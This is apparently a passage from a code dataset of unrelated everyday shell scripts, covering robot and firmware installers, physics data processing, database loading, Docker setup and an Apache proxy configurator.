/opt/hubo\n ;;\n\n '')\n ;;\n\n '*')\n echo 'WARNING: The only argument supported by uninstall is purge'\n ;;\n esac\n}\n\ncase \"$1\" in\n 'robot')\n RobotInstall $@\n ;;\n\n 'workstation')\n WorkstationInstall $@\n ;;\n\n 'uninstall')\n HuboUninstall $@\n ;;\n\n *)\n ShowUsage\n exit 1\n ;;\n\nesac\n\nexit 0"} {"text": "<reponame>svvsdIC/Poseidon-raspberryPi\n#!/bin/bash\nset -ex\n\n# Flash ESCA\n./selectESCA.sh\nsleep 0.2\nopenocd -f /usr/share/openocd/scripts/board/openrov_trident_pac.cfg -c \"program /opt/openrov/firmware/deploy/pac.bin verify; reset; exit\"\n\nsleep 0.2\n\n# Flash ESCB\n./selectESCB.sh\nsleep 0.2\nopenocd -f /usr/share/openocd/scripts/board/openrov_trident_pac.cfg -c \"program /opt/openrov/firmware/deploy/pac.bin verify; reset; exit\"\n\nsleep 0.2\n\n# Flash ESCC\n./selectESCC.sh\nsleep 0.2\nopenocd -f /usr/share/openocd/scripts/board/openrov_trident_pac.cfg -c \"program /opt/openrov/firmware/deploy/pac.bin verify; reset; exit\""} {"text": "#!/bin/bash\n\nif [ $# -ne 1 ]; then\n echo wrong number of parameters \\(need one\\)\n exit 0\nfi\n\nrm ../data/tweet/processing/*\ncp ../data/tweet/data ../data/tweet/processing/$1"} {"text": "<reponame>xju2/hzzws<filename>scripts/mergeNormSystematicText.sh\nHULINDIR=/afs/cern.ch/user/x/xizhao/work/public/Results_2015-11-24_High/High\nTHEORYFILE=TheorySys.txt\nPOLYFILE=/afs/cern.ch/user/g/gcree/public/Analysis/PerEventFits/HZZWorkspace/polySys.txt\nOUTPUTDIR=./output\nMASSES=\"200 300 400 500 600 700 800 900 1000\"\nDUMMYMASSES=\" 1200 1400 1600 1800 2000 2200 2400 2600 2800 3000\"\n\nrm -rf $OUTPUTDIR\nmkdir $OUTPUTDIR\n\n\n#\n# renaming of txt to match out config files\n#\nfor M in $MASSES;\ndo\n cp -f $HULINDIR/norm_ggH${M}_High.txt $OUTPUTDIR/ggH_${M}_norm.txt\n cp -f $HULINDIR/norm_VBFH${M}_High.txt $OUTPUTDIR/VBFH_${M}_norm.txt\n cp -f $HULINDIR/mean_ggH${M}_High.txt $OUTPUTDIR/ggH_${M}_shape_mean.txt\n cp -f $HULINDIR/mean_VBFH${M}_High.txt $OUTPUTDIR/VBFH_${M}_shape_mean.txt\ndone\n\n\n#\n# Hulins systematics only provided up to 1000GeV, so make dummy files above that (they don't enter result)\n#\nfor M in $DUMMYMASSES;\ndo\n cp -f $OUTPUTDIR/ggH_1000_norm.txt $OUTPUTDIR/ggH_${M}_norm.txt\n cp -f $OUTPUTDIR/VBFH_1000_norm.txt $OUTPUTDIR/VBFH_${M}_norm.txt\n cp -f $OUTPUTDIR/ggH_1000_shape_mean.txt $OUTPUTDIR/ggH_${M}_shape_mean.txt\n cp -f $OUTPUTDIR/VBFH_1000_shape_mean.txt $OUTPUTDIR/VBFH_${M}_shape_mean.txt\ndone\n\nMASSES=$MASSES$DUMMYMASSES\n\n\necho \"doing theory systematics...\"\n#\n# Now fill theory syst into the files\n#\nfor M in $MASSES;\ndo\n LINE=`cat $THEORYFILE | grep \"^$M \"`\n\n SCALEDOWN=`echo $LINE | awk '{print $2}'`\n SCALEUP=`echo $LINE | awk '{print $3}'`\n PDFDOWN=`echo $LINE | awk '{print $4}'`\n PDFUP=`echo $LINE | awk '{print $5}'`\n\n TOINSERTQ=\"ATLAS_QCDscale_ggVV = $SCALEDOWN $SCALEUP\"\n TOINSERTP=\"ATLAS_pdf_gg = $PDFDOWN $PDFUP\"\n\n sed -i \"s,],]\\n${TOINSERTQ}\\n${TOINSERTP},\" $OUTPUTDIR/*_${M}_norm.txt\n\ndone \n\n#\n# this business is adding polynomial acceptance systematic\n#\n\n\n#then fill in real deal\necho \"now filling real acceptance sys..\"\nfor M in $MASSES;\ndo\n\n for CAT in 4mu 2mu2e 4e;\n do\n for PROD in ggH VBFH;\n do\n POLDOWN=`cat $POLYFILE | grep $PROD | grep $CAT | grep \" $M \" | awk '{print $4}'`\n POLUP=`cat $POLYFILE | grep $PROD | grep $CAT | grep \" $M \" | awk '{print $5}'`\n if [ \"$POLDOWN\" == \"\" ]; then POLDOWN=1.0; fi\n if [ \"$POLUP\" == \"\" ]; then POLUP=1.0; fi\n\n echo \"for $PROD $M $CAT want to fill $POLDOWN $POLUP\" \n \n#sed -i -- \"s,\\(\\[${PROD}_${CAT}_13TeV\\]\\),\\1ATLAS_signal_acceptance_fit_${PROD}_${CAT} = $POLDOWN $POLUP,\" $OUTPUTDIR/${PROD}_${M}_norm.txt\n sed -i \"s,\\(\\[ggF_${CAT}_13TeV\\]\\),\\1\\nATLAS_signal_acceptance_fit_${PROD}_${CAT} = $POLDOWN $POLUP,\" $OUTPUTDIR/${PROD}_${M}_norm.txt\n\n done\n done\n\ndone"} {"text": "#!/bin/zsh\n\n######################################################################\n# Written to be used on 64 bits computers with fresh setup of Ubuntu #\n# Author : <NAME> #\n######################################################################\n# #\n# DO NOT JUST RUN THIS. EXAMINE AND JUDGE. AT YOUR OWN RISK. #\n# #\n######################################################################\n\necho \"1. Downloading Popcorn-Time\"\ncd /tmp\nwget $(curl -Ls https://popcorntime.sh/fr | grep -Po '(?<=href=\")[^\"]*Linux-64.[^\"]*(?=\")' | head -1) -O popcorntime\n\necho \"2. Install Popcorn-Time\"\nmkdir Popcorn-Time\ntar -xf popcorntime -C ./Popcorn-Time\nsudo mv Popcorn-Time /opt\n\necho \"3. Create Launcher for Popcorn-Time\"\nsudo sh -c \"cat <<EOL >>/usr/share/applications/Popcorn-Time.desktop\n[Desktop Entry]\nComment=Watch movies in streaming with P2P.\nComment[fr]=Regarder des films en streaming.\nName=Popcorn Time\nExec=/opt/Popcorn-Time/Popcorn-Time\nStartupNotify=false\nType=Application\nIcon=/opt/Popcorn-Time/src/app/images/popcorntime.ico\nEOL\""} {"text": "<reponame>BramaBrama/docker-bramabrama\n#\n# исправляем права на каталог /srv, если это требуется\n#\n\nif is_ok \"${__fix_perm}\" ; then\n chown -Rc \"${APP_UID}:${APP_GID}\" /srv/\nfi"} {"text": "<gh_stars>0\n#!/bin/bash\n\n# Figure out the current directory.\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n# And call the configuration script.\nsource $DIR/../../../conf.sh\n\n# Drop all tables.\necho \"DROP TABLE IF EXISTS forest10;\" > /tmp/load.sql\necho \"DROP TABLE IF EXISTS forest8;\" >> /tmp/load.sql\necho \"DROP TABLE IF EXISTS forest5;\" >> /tmp/load.sql\necho \"DROP TABLE IF EXISTS forest3;\" >> /tmp/load.sql\necho \"DROP TABLE IF EXISTS forest2;\" >> /tmp/load.sql\n\n# Prepare the SQL load script.\necho \"CREATE TABLE forest10(\" >> /tmp/load.sql\necho \"\tc1 DOUBLE PRECISION,\" >> /tmp/load.sql\necho \"\tc2 DOUBLE PRECISION,\" >> /tmp/load.sql\necho \"\tc3 DOUBLE PRECISION,\" >> /tmp/load.sql\necho \"\tc4 DOUBLE PRECISION,\" >> /tmp/load.sql\necho \"\tc5 DOUBLE PRECISION,\" >> /tmp/load.sql\necho \"\tc6 DOUBLE PRECISION,\" >> /tmp/load.sql\necho \"\tc7 DOUBLE PRECISION,\" >> /tmp/load.sql\necho \"\tc8 DOUBLE PRECISION,\" >> /tmp/load.sql\necho \"\tc9 DOUBLE PRECISION,\" >> /tmp/load.sql\necho \"\tc10 DOUBLE PRECISION);\" >> /tmp/load.sql\necho \"COPY forest10 FROM '$DIR/raw/data.csv' DELIMITER'|';\" >> /tmp/load.sql\n\n# Prepare the SQL load script for forest8.\necho \"SELECT c1 AS c1, \" >> /tmp/load.sql\necho \" c2 AS c2,\" >> /tmp/load.sql\necho \" c4 AS c3,\" >> /tmp/load.sql\necho \" c5 AS c4,\" >> /tmp/load.sql\necho \" c6 AS c5,\" >> /tmp/load.sql\necho \" c7 AS c6,\" >> /tmp/load.sql\necho \" c9 AS c7,\" >> /tmp/load.sql\necho \" c10 AS c8 INTO forest8 FROM forest10;\" >> /tmp/load.sql\n\n# Prepare the SQL load script for forest3.\necho \"SELECT c1 AS c1, \" >> /tmp/load.sql\necho \" c3 AS c2,\" >> /tmp/load.sql\necho \" c6 AS c3 INTO forest3 FROM forest10;\" >> /tmp/load.sql\n\n# Now call the load script.\n$PSQL -p$PGPORT -U$PGUSER $PGDATABASE -f /tmp/load.sql"} {"text": "#!/usr/bin/bash\n\n# Verificando se a plataforma é um Linux\nif [ $(uname) = \"Linux\" ]\n\nthen\n\n # Verificando se o PIP está instalado\n if [ -f \"/usr/bin/pip3\" ]\n\n then\n\n # Instalando a biblioteca Xlib para Python3 com PIP\n pip3 install python-xlib\n\n else\n\n echo \"PIP3 não encontrado.\"\n echo \"Aperte CTRL + C para cancelar\"\n echo \"ou pressione Enter para tentar fazer a instalação automática.\"\n read\n\n # Instalando PIP para Python3\n\n # Verificando se o sistema operacional possui o gerenciador de pacotes pacman\n if [ -f \"/usr/bin/pacman\" ]\n then\n # Instalando PIP com Pacman\n sudo pacman -S python-pip\n echo \"PIP3 instalado. Tente rodar o script novamente.\"\n exit\n fi\n\n # Verificando se o sistema operacional possui o gerenciador de pacotes apt-get\n if [ -f \"/usr/bin/apt-get\" ]\n then\n # Instalando PIP com APT\n sudo apt-get install python-pip\n echo \"PIP3 instalado. Tente rodar o script novamente.\"\n exit\n fi\n\n # Exibindo uma mensagem de erro\n echo \"Não foi possivel instalar PIP3.\"\n echo \"Tente fazer a instalação manualmente.\"\n exit\n\n fi\n\nelse\n\n # Exibindo uma mensagem de erro\n echo \"Não foi possivel instalar XLIB.\"\n echo \"Tente fazer a instalação manualmente.\"\n exit\n\nfi"} {"text": "<filename>deprecated/performance/soap_axis_getResults.sh<gh_stars>0\n#!/bin/bash\nfor i in `seq 1 100`; do\nQUERY=\"'blood OR soapaxis$i'\"\n# echo \"$QUERY\"\nts=$(date +%s%N)\njava -Djava.ext.dirs=axis/lib:lib-1.4 -jar jar/EBeye_Axis1.jar --endpoint 'http://ves-hx-27.ebi.ac.uk:8080/ebisearch/service.ebi' --getResults uniprot \"$QUERY\" 'id,acc,name,status' 1 10 > soap_axis_out.txt\ntt=$((($(date +%s%N) - $ts)/1000000))\necho \"$tt\"\ndone"} {"text": "# nim c -r test.nim --debugger:native\nexport NAME=test_process\nnim c --debuginfo --linedir:on $NAME.nim\n./$NAME\nrm -f $NAME"} {"text": "sudo docker stop vim-mocker\nsudo docker rm vim-mocker\nsudo docker build -t vim-mocker -f Dockerfile .\nsudo docker run -d --name vim-mocker \\\n -p 5000:5000 \\\n -p 8004:8004 \\\n -p 8774:8774 \\\n -p 9292:9292 \\\n -v $(pwd):/app \\\n vim-mocker"} {"text": "#!/bin/bash -e\n\nmy_file=\"$(readlink -e \"$0\")\"\nmy_dir=\"$(dirname $my_file)\"\n\nsource ~/rhosp-environment.sh\nsource \"$my_dir/../providers/common/functions.sh\"\n\nsudo -E bash -c \"CONTAINER_REGISTRY='' CONFIGURE_DOCKER_LIVERESTORE=false ../common/create_docker_config.sh\"\ninsecure_registries=$(cat /etc/sysconfig/docker | awk -F '=' '/^INSECURE_REGISTRY=/{print($2)}' | tr -d '\"')\necho \"INFO: current insecure_registries=$insecure_registries\"\nif [[ -n \"$CONTAINER_REGISTRY\" ]] && is_registry_insecure \"$CONTAINER_REGISTRY\" ; then\n echo \"INFO: add CONTAINER_REGISTRY=$CONTAINER_REGISTRY to insecure list\"\n insecure_registries+=\" --insecure-registry $CONTAINER_REGISTRY\"\nfi\nif [[ -n \"$OPENSTACK_CONTAINER_REGISTRY\" ]] && is_registry_insecure \"$OPENSTACK_CONTAINER_REGISTRY\" ; then\n echo \"INFO: add OPENSTACK_CONTAINER_REGISTRY=$OPENSTACK_CONTAINER_REGISTRY to insecure list\"\n insecure_registries+=\" --insecure-registry $OPENSTACK_CONTAINER_REGISTRY\"\nfi\nsudo sed -i '/^INSECURE_REGISTRY/d' /etc/sysconfig/docker\necho \"INSECURE_REGISTRY=\\\"$insecure_registries\\\"\" | sudo tee -a /etc/sysconfig/docker\necho \"INFO: restart docker, /etc/sysconfig/docker\"\nsudo cat /etc/sysconfig/docker\nif ! sudo systemctl restart docker ; then\n echo \"ERROR: sudo systemctl restart docker failed\"\n sudo systemctl status docker.service\n sudo journalctl -xe\n exit 1\nfi"} {"text": "#!/bin/bash\n\n# add proxy entry to conf file\nadd_proxy_entry () {\n ENTRY_NO=$1\n SERVER_NAME=$2\n PROXY_URL=$3\n\n echo \"Setup proxy config for SERVER_NAME${ENTRY_NO} and PROXY_URL${ENTRY_NO}\"\n cp /scripts/custom_proxy.template /tmp/custom_proxy_$ENTRY_NO\n sed -i -E 's;#SERVER_NAME#;'${SERVER_NAME}';g' /tmp/custom_proxy_$ENTRY_NO\n sed -i -E 's;#PROXY_URL#;'${PROXY_URL}';g' /tmp/custom_proxy_$ENTRY_NO\n if [ ${ENTRY_NO} = 1 ]; then\n cat /tmp/custom_proxy_$ENTRY_NO > /usr/local/apache2/conf/extra/custom_proxy.conf\n else\n cat /tmp/custom_proxy_$ENTRY_NO >> /usr/local/apache2/conf/extra/custom_proxy.conf\n fi\n}\n\n# only create proxy conf if not already there\nif [ ! -f /usr/local/apache2/conf/extra/custom_proxy.conf ]; then\n # validations\n if [ -z \"${SERVER_NAME1}\" ]; then\n echo \"Environment variable SERVER_NAME1 must be defined!\"\n exit 1\n fi\n if [ -z \"${PROXY_URL1}\" ]; then\n echo \"Environment variable PROXY_URL1 must be defined!\"\n exit 1\n fi\n\n # log passed parameters\n echo \"SERVER_NAME1: ${SERVER_NAME1}\" > ~/passed_env_vars.log\n echo \"SERVER_NAME2: ${SERVER_NAME2}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME3: ${SERVER_NAME3}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME4: ${SERVER_NAME4}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME5: ${SERVER_NAME5}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME6: ${SERVER_NAME6}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME7: ${SERVER_NAME7}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME8: ${SERVER_NAME8}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME9: ${SERVER_NAME9}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME10: ${SERVER_NAME10}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME11: ${SERVER_NAME11}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME12: ${SERVER_NAME12}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME13: ${SERVER_NAME13}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME14: ${SERVER_NAME14}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME15: ${SERVER_NAME15}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME16: ${SERVER_NAME16}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME17: ${SERVER_NAME17}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME18: ${SERVER_NAME18}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME19: ${SERVER_NAME19}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME20: ${SERVER_NAME20}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME21: ${SERVER_NAME21}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME22: ${SERVER_NAME22}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME23: ${SERVER_NAME23}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME24: ${SERVER_NAME24}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME25: ${SERVER_NAME25}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME26: ${SERVER_NAME26}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME27: ${SERVER_NAME27}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME28: ${SERVER_NAME28}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME29: ${SERVER_NAME29}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME30: ${SERVER_NAME30}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME31: ${SERVER_NAME31}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME32: ${SERVER_NAME32}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME33: ${SERVER_NAME33}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME34: ${SERVER_NAME34}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME35: ${SERVER_NAME35}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME36: ${SERVER_NAME36}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME37: ${SERVER_NAME37}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME38: ${SERVER_NAME38}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME39: ${SERVER_NAME39}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME40: ${SERVER_NAME40}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME41: ${SERVER_NAME41}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME42: ${SERVER_NAME42}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME43: ${SERVER_NAME43}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME44: ${SERVER_NAME44}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME45: ${SERVER_NAME45}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME46: ${SERVER_NAME46}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME47: ${SERVER_NAME47}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME48: ${SERVER_NAME48}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME49: ${SERVER_NAME49}\" >> ~/passed_env_vars.log\n echo \"SERVER_NAME50: ${SERVER_NAME50}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL1: ${PROXY_URL1}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL2: ${PROXY_URL2}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL3: ${PROXY_URL3}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL4: ${PROXY_URL4}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL5: ${PROXY_URL5}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL6: ${PROXY_URL6}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL7: ${PROXY_URL7}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL8: ${PROXY_URL8}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL9: ${PROXY_URL9}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL10: ${PROXY_URL10}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL11: ${PROXY_URL11}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL12: ${PROXY_URL12}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL13: ${PROXY_URL13}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL14: ${PROXY_URL14}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL15: ${PROXY_URL15}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL16: ${PROXY_URL16}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL17: ${PROXY_URL17}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL18: ${PROXY_URL18}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL19: ${PROXY_URL19}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL20: ${PROXY_URL20}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL21: ${PROXY_URL21}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL22: ${PROXY_URL22}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL23: ${PROXY_URL23}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL24: ${PROXY_URL24}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL25: ${PROXY_URL25}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL26: ${PROXY_URL26}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL27: ${PROXY_URL27}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL28: ${PROXY_URL28}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL29: ${PROXY_URL29}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL30: ${PROXY_URL30}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL31: ${PROXY_URL31}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL32: ${PROXY_URL32}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL33: ${PROXY_URL33}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL34: ${PROXY_URL34}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL35: ${PROXY_URL35}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL36: ${PROXY_URL36}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL37: ${PROXY_URL37}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL38: ${PROXY_URL38}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL39: ${PROXY_URL39}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL40: ${PROXY_URL40}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL41: ${PROXY_URL41}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL42: ${PROXY_URL42}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL43: ${PROXY_URL43}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL44: ${PROXY_URL44}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL45: ${PROXY_URL45}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL46: ${PROXY_URL46}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL47: ${PROXY_URL47}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL48: ${PROXY_URL48}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL49: ${PROXY_URL49}\" >> ~/passed_env_vars.log\n echo \"PROXY_URL50: ${PROXY_URL50}\" >> ~/passed_env_vars.log\n\n\n echo \"Passed environment variables\"\n cat ~/passed_env_vars.log\n\n # create dynamic apache vhost file for each server name env variable\n if [ ! -z \"${SERVER_NAME1}\" ]; then\n add_proxy_entry 1 ${SERVER_NAME1} ${PROXY_URL1}\n fi\n if [ ! -z \"${SERVER_NAME2}\" ]; then\n add_proxy_entry 2 ${SERVER_NAME2} ${PROXY_URL2}\n fi\n if [ ! -z \"${SERVER_NAME3}\" ]; then\n add_proxy_entry 3 ${SERVER_NAME3} ${PROXY_URL3}\n fi\n if [ ! -z \"${SERVER_NAME4}\" ]; then\n add_proxy_entry 4 ${SERVER_NAME4} ${PROXY_URL4}\n fi\n if [ ! -z \"${SERVER_NAME5}\" ]; then\n add_proxy_entry 5 ${SERVER_NAME5} ${PROXY_URL5}\n fi\n if [ ! -z \"${SERVER_NAME6}\" ]; then\n add_proxy_entry 6 ${SERVER_NAME6} ${PROXY_URL6}\n fi\n if [ ! -z \"${SERVER_NAME7}\" ]; then\n add_proxy_entry 7 ${SERVER_NAME7} ${PROXY_URL7}\n fi\n if [ ! -z \"${SERVER_NAME8}\" ]; then\n add_proxy_entry 8 ${SERVER_NAME8} ${PROXY_URL8}\n fi\n if [ ! -z \"${SERVER_NAME9}\" ]; then\n add_proxy_entry 9 ${SERVER_NAME9} ${PROXY_URL9}\n fi\n if [ ! -z \"${SERVER_NAME10}\" ]; then\n add_proxy_entry 10 ${SERVER_NAME10} ${PROXY_URL10}\n fi\n if [ ! -z \"${SERVER_NAME11}\" ]; then\n add_proxy_entry 11 ${SERVER_NAME11} ${PROXY_URL11}\n fi\n if [ ! -z \"${SERVER_NAME12}\" ]; then\n add_proxy_entry 12 ${SERVER_NAME12} ${PROXY_URL12}\n fi\n if [ ! -z \"${SERVER_NAME13}\" ]; then\n add_proxy_entry 13 ${SERVER_NAME13} ${PROXY_URL13}\n fi\n if [ ! -z \"${SERVER_NAME14}\" ]; then\n add_proxy_entry 14 ${SERVER_NAME14} ${PROXY_URL14}\n fi\n if [ ! -z \"${SERVER_NAME15}\" ]; then\n add_proxy_entry 15 ${SERVER_NAME15} ${PROXY_URL15}\n fi\n if [ ! -z \"${SERVER_NAME16}\" ]; then\n add_proxy_entry 16 ${SERVER_NAME16} ${PROXY_URL16}\n fi\n if [ ! -z \"${SERVER_NAME17}\" ]; then\n add_proxy_entry 17 ${SERVER_NAME17} ${PROXY_URL17}\n fi\n if [ ! -z \"${SERVER_NAME18}\" ]; then\n add_proxy_entry 18 ${SERVER_NAME18} ${PROXY_URL18}\n fi\n if [ ! -z \"${SERVER_NAME19}\" ]; then\n add_proxy_entry 19 ${SERVER_NAME19} ${PROXY_URL19}\n fi\n if [ ! -z \"${SERVER_NAME20}\" ]; then\n add_proxy_entry 20 ${SERVER_NAME20} ${PROXY_URL20}\n fi\n if [ ! -z \"${SERVER_NAME21}\" ]; then\n add_proxy_entry 21 ${SERVER_NAME21} ${PROXY_URL21}\n fi\n if [ ! -z \"${SERVER_NAME22}\" ]; then\n add_proxy_entry 22 ${SERVER_NAME22} ${PROXY_URL22}\n fi\n if [ ! -z \"${SERVER_NAME23}\" ]; then\n add_proxy_entry 23 ${SERVER_NAME23} ${PROXY_URL23}\n fi\n if [ ! -z \"${SERVER_NAME24}\" ]; then\n add_proxy_entry 24 ${SERVER_NAME24} ${PROXY_URL24}\n fi\n if [ ! -z \"${SERVER_NAME25}\" ]; then\n add_proxy_entry 25 ${SERVER_NAME25} ${PROXY_URL25}\n fi\n if [ ! -z \"${SERVER_NAME26}\" ]; then\n add_proxy_entry 26 ${SERVER_NAME26} ${PROXY_URL26}\n fi\n if [ ! -z \"${SERVER_NAME27}\" ]; then\n add_proxy_entry 27 ${SERVER_NAME27} ${PROXY_URL27}\n fi\n if [ ! -z \"${SERVER_NAME28}\" ]; then\n add_proxy_entry 28 ${SERVER_NAME28} ${PROXY_URL28}\n fi\n if [ ! -z \"${SERVER_NAME29}\" ]; then\n add_proxy_entry 29 ${SERVER_NAME29} ${PROXY_URL29}\n fi\n if [ ! -z \"${SERVER_NAME30}\" ]; then\n add_proxy_entry 30 ${SERVER_NAME30} ${PROXY_URL30}\n fi\n if [ ! -z \"${SERVER_NAME31}\" ]; then\n add_proxy_entry 31 ${SERVER_NAME31} ${PROXY_URL31}\n fi\n if [ ! -z \"${SERVER_NAME32}\" ]; then\n add_proxy_entry 32 ${SERVER_NAME32} ${PROXY_URL32}\n fi\n if [ ! -z \"${SERVER_NAME33}\" ]; then\n add_proxy_entry 33 ${SERVER_NAME33} ${PROXY_URL33}\n fi\n if [ ! -z \"${SERVER_NAME34}\" ]; then\n add_proxy_entry 34 ${SERVER_NAME34} ${PROXY_URL34}\n fi\n if [ ! -z \"${SERVER_NAME35}\" ]; then\n add_proxy_entry 35 ${SERVER_NAME35} ${PROXY_URL35}\n fi\n if [ ! -z \"${SERVER_NAME36}\" ]; then\n add_proxy_entry 36 ${SERVER_NAME36} ${PROXY_URL36}\n fi\n if [ ! -z \"${SERVER_NAME37}\" ]; then\n add_proxy_entry 37 ${SERVER_NAME37} ${PROXY_URL37}\n fi\n if [ ! -z \"${SERVER_NAME38}\" ]; then\n add_proxy_entry 38 ${SERVER_NAME38} ${PROXY_URL38}\n fi\n if [ ! -z \"${SERVER_NAME39}\" ]; then\n add_proxy_entry 39 ${SERVER_NAME39} ${PROXY_URL39}\n fi\n if [ ! -z \"${SERVER_NAME40}\" ]; then\n add_proxy_entry 40 ${SERVER_NAME40} ${PROXY_URL40}\n fi\n if [ ! -z \"${SERVER_NAME41}\" ]; then\n add_proxy_entry 41 ${SERVER_NAME41} ${PROXY_URL41}\n fi\n if [ ! -z \"${SERVER_NAME42}\" ]; then\n add_proxy_entry 42 ${SERVER_NAME42} ${PROXY_URL42}\n fi\n if [ ! -z \"${SERVER_NAME43}\" ]; then\n add_proxy_entry 43 ${SERVER_NAME43} ${PROXY_URL43}\n fi\n if [ ! -z \"${SERVER_NAME44}\" ]; then\n add_proxy_entry 44 ${SERVER_NAME44} ${PROXY_URL44}\n fi\n if [ ! -z \"${SERVER_NAME45}\" ]; then\n add_proxy_entry 45 ${SERVER_NAME45} ${PROXY_URL45}\n fi\n if [ ! -z \"${SERVER_NAME46}\" ]; then\n add_proxy_entry 46 ${SERVER_NAME46} ${PROXY_URL46}\n fi\n if [ ! -z \"${SERVER_NAME47}\" ]; then\n add_proxy_entry 47 ${SERVER_NAME47} ${PROXY_URL47}\n fi\n if [ ! -z \"${SERVER_NAME48}\" ]; then\n add_proxy_entry 48 ${SERVER_NAME48} ${PROXY_URL48}\n fi\n if [ ! -z \"${SERVER_NAME49}\" ]; then\n add_proxy_entry 49 ${SERVER_NAME49} ${PROXY_URL49}\n fi\n if [ ! -z \"${SERVER_NAME50}\" ]; then\n add_proxy_entry 50 ${SERVER_NAME50} ${PROXY_URL50}\n fi\n\n # cleanup tmp files\n echo \"Cleanup temp files\"\n rm -f /tmp/custom_proxy*\nfi\n\n# run apache web server\necho \"Run apache/httpd\"\nhttpd-foreground"} {"text": "<reponame>FCAS-SCUT/pms\n#!/bin/sh\nfor name in *.txt\ndo\n\trm $name \n\ttouch $name\ndone"} {"text": "<reponame>Wind-River/meta-lat<filename>recipes-support/genimage/files/genimage/data/yaml_example/sysdef/run_once.d/30_set_hostname.sh\n#!/bin/sh\n# Set hostname based on MAC address or current time\n#\n# Copyright (c) 2021 Wind River Systems, Inc.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2 as\n# published by the 